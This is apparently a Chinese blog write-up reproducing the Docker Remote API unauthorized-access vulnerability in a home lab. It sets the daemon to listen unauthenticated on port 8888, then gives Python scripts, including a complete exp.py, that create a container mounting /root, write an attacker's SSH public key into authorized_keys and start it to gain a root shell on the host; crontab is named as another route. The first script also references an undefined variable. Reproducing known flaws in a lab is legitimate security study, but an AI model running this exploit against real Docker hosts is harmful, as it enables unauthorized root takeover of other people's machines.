Docker Remote API 未授权访问漏洞复现

网上的文章有很多,只是复现时有些细节不清晰,本文尽可能详尽叙述

注:利用脚本没有采用docker库,直接使用的http请求

环境配置

安装Docker环境

Docker安装按照官方文档安装就好

当前环境:

靶机:Ubuntu16.04 + Docker 19.03.13

IP:172.16.180.160

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@ubuntu:~# docker version
Client: Docker Engine - Community
Version: 19.03.13
API version: 1.40
Go version: go1.13.15
Git commit: 4484c46d9d
Built: Wed Sep 16 17:02:59 2020
OS/Arch: linux/amd64
Experimental: false

Server: Docker Engine - Community
Engine:
Version: 19.03.13
API version: 1.40 (minimum version 1.12)
Go version: go1.13.15
Git commit: 4484c46d9d
Built: Wed Sep 16 17:01:30 2020
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.3.7
GitCommit: 8fba4e9a7d01810a393d5d25a3621dc101981175
runc:
Version: 1.0.0-rc10
GitCommit: dc9208a3303feef5b3839f4323d9beb36df0a9dd
docker-init:
Version: 0.18.0
GitCommit: fec3683

攻击机:黑苹果(10.15.3)/可替换为Kali + Python3.7.7

IP:192.168.15.110

配置Docker Remote API

1
2
3
4
5
#备份配置文件
cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak

#编辑文件添加配置ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:8888
vim /lib/systemd/system/docker.service

如下图所示(14-15行):

image-20201110105807503

之后执行命令:

1
2
3
4
5
#加载配置文件
systemctl daemon-reload

#重启docker服务
systemctl restart docker.service

若无错误提示,则代表启动成功

请勿在生产环境中执行上述操作!

查看运行状态

浏览器访问:

http://172.16.180.160:8888/v1.25/images/json

可获得镜像列表,如下图所示:

image-20201110114628898

其他API:

比如访问以下链接可以获得版本等信息

http://172.16.180.160:8888/v1.25/info

http://172.16.180.160:8888/version

复现步骤

攻击者会通过发送构造的http请求执行创建容器,启动容器,删除容器等操作

并且可以通过修改 /root/.ssh/authorized_keys或者/etc/crontab计划任务获得宿主机shell

查看攻击机用户公钥

1
cat /Users/iqiqiya/.ssh/id_rsa.pub

image-20201110115908780

创建容器并获得容器ID

公钥复制到CMD那里,使用镜像alpine:latest(任意一个镜像都可以的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/11/10
# @FileName :create_container.py
# 创建容器并获得容器ID
import requests
import json

# 请求体数据
data = {
"Image": "alpine:latest",
"HostConfig": {
"Binds": [
"/root/:/tmp/:rw"
]
},
"CMD": [
"/bin/sh",
"-c",
"mkdir -p /tmp/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLfkk5aKwJuBHYS30dFNXGr6HYsstu2FNd7AJ83KYQIYkhwBagl6fQqpOwYDs2x1FsZXgyxlMx/p0zTfZFG5UHqJlbFpZH5D21vuH8bULwxyyb9JHquQOuBS0aXuqTf+6us82VG+R4GPqr2yvD5h8dT/t6U3/hMl+GAQu+OmkTHAmequ1BFawJ2E9S83IjwgRMwY1yyyLnn13KU9YPxf9yd+S2IXzizeVaTPNlzsb/c44uHk5GfH3eZFyhYfX11gqHP75RbCNvbJLtzxrgLqtlQcewwMjmOtwv2F6LP6Qdb0csaYLC8eWMsh7NiFwOwk7ls5Fqsh/kCRtRY8/XoGSb iqiqiya@iqiqiyas-MacBook-Pro.local' >> /tmp/.ssh/authorized_keys"
]
}

## headers中添加上content-type这个参数,指定为json格式
headers = {'Content-Type': 'application/json'}

## post的时候,将data字典形式的参数用json包转换成json格式
response = requests.post(url='http://172.16.180.160:8888/v1.25/containers/create', headers=headers, data=json.dumps(data2))
print(response.text)
# {"Id":"809e116f875232b390515661a7d907f4c02a6eb084512b3bca7cf9131eba264f","Warnings":[]}

启动该容器

上面输出的Id就是container_Id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/11/10
# @FileName :start_container.py
# 启动容器运行
import requests
import json

# 请求体数据
data = {

}

## headers中添加上content-type这个参数,指定为json格式
headers = {'Content-Type': 'application/json'}

container_Id = "809e116f875232b390515661a7d907f4c02a6eb084512b3bca7cf9131eba264f"

## post的时候,将data字典形式的参数用json包转换成json格式
response = requests.post(url='http://172.16.180.160:8888/v1.25/containers/'+container_Id+'/start', headers=headers, data=json.dumps(data))
print(response.text)

response2 = requests.get(url='http://172.16.180.160:8888/v1.25/containers/'+container_Id+'/logs?stderr=True')
print(response2.text)

返回是空的,开启成功

SSH登录

1
2
3
4
5
6
7
8
9
10
#攻击机执行
ssh 172.16.180.160

输入yes

输入密码

得到ssh会话

su root

image-20201110124806257

脚本编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# @Author :iqiqiya
# @Blog :iqiqiya.com
# @Time :2020/11/10
# @FileName :exp.py
# Docker Remote API未授权访问漏洞利用
import requests
import json
import re

# 要修改的参数
image_name = "alpine:latest"
ip = "172.16.180.160"
port = "8888"
# 这个是公钥,也就是id_rsa.pub内容
public_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLfkk5aKwJuBHYS30dFNXGr6HYsstu2FNd7AJ83KYQIYkhwBagl6fQqpOwYDs2x1FsZXgyxlMx/p0zTfZFG5UHqJlbFpZH5D21vuH8bULwxyyb9JHquQOuBS0aXuqTf+6us82VG+R4GPqr2yvD5h8dT/t6U3/hMl+GAQu+OmkTHAmequ1BFawJ2E9S83IjwgRMwY1yyyLnn13KU9YPxf9yd+S2IXzizeVaTPNlzsb/c44uHk5GfH3eZFyhYfX11gqHP75RbCNvbJLtzxrgLqtlQcewwMjmOtwv2F6LP6Qdb0csaYLC8eWMsh7NiFwOwk7ls5Fqsh/kCRtRY8/XoGSb iqiqiya@iqiqiyas-MacBook-Pro.local"

# headers中添加上content-type这个参数,指定为json格式
headers = {'Content-Type': 'application/json'}

# 请求体数据
data = {
"Image": image_name,
"HostConfig": {
"Binds": [
"/root/:/tmp/:rw"
]
},
"CMD": [
"/bin/sh",
"-c",
"mkdir -p /tmp/.ssh && echo "+public_key+" >> /tmp/.ssh/authorized_keys"
]
}

# post的时候,将data字典形式的参数用json包转换成json格式
response = requests.post(url='http://'+ip+':'+port+'/v1.25/containers/create', headers=headers, data=json.dumps(data))
print(response.text)
# {"Id":"7603377f77a678e2239c79cfe9d1d4dec5fec3f85554647270263be6c4acecb0","Warnings":[]}

pattern = r'Id":"(.*?)"'
container_Id = re.findall(pattern, response.text)[0]
response2 = requests.post(url='http://'+ip+':'+port+'/v1.25/containers/'+container_Id+'/start', headers=headers)
print(response2.text)

# 返回为空,没有错误信息 代表启动成功
response3 = requests.get(url='http://'+ip+':'+port+'/v1.25/containers/'+container_Id+'/logs?stderr=True')
print(response3.text)

问题解决记录

Q1:没有.ssh/id_rsa.pub这个文件或路径?

A1:ssh-keygen -c 生成

Q2:ssh无法登陆?

A2:靶机需要开启ssh登录,步骤如下

1
2
3
4
5
6
7
8
9
10
11
12
13
安装ssh服务
sudo apt-get install openssh-server

启动
sudo service ssh start

查询服务启动状态:
sudo ps -e | grep ssh
或者
sudo service ssh status

配置开机启动:
sudo sysv-rc-conf

参考链接

Docker Remote API 未授权访问漏洞

Docker daemon api unauthorized access exploit